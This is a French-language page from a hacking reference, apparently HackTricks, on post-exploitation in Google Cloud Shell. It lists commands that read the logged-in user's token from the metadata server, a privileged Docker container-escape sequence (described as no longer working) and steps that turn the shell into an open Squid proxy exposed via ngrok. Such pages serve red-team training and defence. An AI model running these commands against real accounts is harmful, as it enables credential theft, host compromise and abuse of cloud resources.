GCP - Cloud Shell Post Exploitation

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Cloud Shell

Pour plus d’informations sur Cloud Shell, voir :

GCP - Cloud Shell Enum

Obtention du token de l’utilisateur depuis le serveur de mĂ©tadonnĂ©es

En accĂ©dant simplement au serveur de mĂ©tadonnĂ©es, vous pouvez obtenir un token pour accĂ©der en tant qu’utilisateur actuellement connectĂ© :

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"

Container Escape / Docker use

Warning

Auparavant, le cloud shell s’exĂ©cutait dans un conteneur avec accĂšs au docker socket de l’hĂŽte. Maintenant Google a changĂ© l’architecture et le conteneur cloud shell exĂ©cute une configuration “Docker in a container”. Ainsi, mĂȘme s’il est possible d’utiliser docker depuis le cloud shell, vous ne pourrez pas vous Ă©chapper vers l’hĂŽte en utilisant le docker socket. Notez qu’auparavant le fichier docker.sock Ă©tait situĂ© dans /google/host/var/run/docker.sock mais maintenant il a Ă©tĂ© dĂ©placĂ© vers /run/docker.sock.

Docker use / Old container escape commands ```bash sudo docker -H unix:///run/docker.sock pull alpine:latest sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest sudo docker -H unix:///run/docker.sock start escaper sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh ```

De plus, par le passé, il était possible de trouver un token pour un service account utilisé par le cloud shell VM dans le metadata server :

Ancien service account provenant du metadata ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" default/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ ``` Avec les autorisations (scopes) suivantes : ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/monitoring.write

</details>



### L'utiliser comme proxy

Si vous voulez utiliser votre google cloud shell instance comme proxy vous devez exécuter les commandes suivantes (ou les insérer dans le fichier .bashrc) :

<details>

<summary>Installer Squid proxy</summary>
```bash
sudo apt install -y squid

Pour information, Squid est un serveur proxy http. Créez un fichier squid.conf avec les paramÚtres suivants :

Create squid.conf file ```bash http_port 3128 cache_dir /var/cache/squid 100 16 256 acl all src 0.0.0.0/0 http_access allow all ```

copiez le fichier squid.conf dans /etc/squid

Copier la configuration dans **/etc/squid** ```bash sudo cp squid.conf /etc/squid ```

Enfin, lancez le service squid :

Démarrer le service squid ```bash sudo service squid start ```

Utilisez ngrok pour rendre le proxy accessible depuis l’extĂ©rieur :

Exposer le proxy avec ngrok ```bash ./ngrok tcp 3128 ```

AprĂšs exĂ©cution, copiez l’URL tcp://. Si vous souhaitez utiliser le proxy depuis un navigateur, il est conseillĂ© de supprimer la partie tcp:// et le port, puis de mettre le port dans le champ de port des paramĂštres proxy de votre navigateur (squid is a http proxy server).

Pour une meilleure utilisation au démarrage, le fichier .bashrc devrait contenir les lignes suivantes :

Ajouter à .bashrc pour un démarrage automatique ```bash sudo apt install -y squid sudo cp squid.conf /etc/squid/ sudo service squid start cd ngrok;./ngrok tcp 3128 ```

Les instructions ont Ă©tĂ© copiĂ©es depuis [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key]. Consultez cette page pour d’autres idĂ©es folles permettant d’exĂ©cuter n’importe quel type de logiciel (bases de donnĂ©es et mĂȘme Windows) dans Cloud Shell.

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks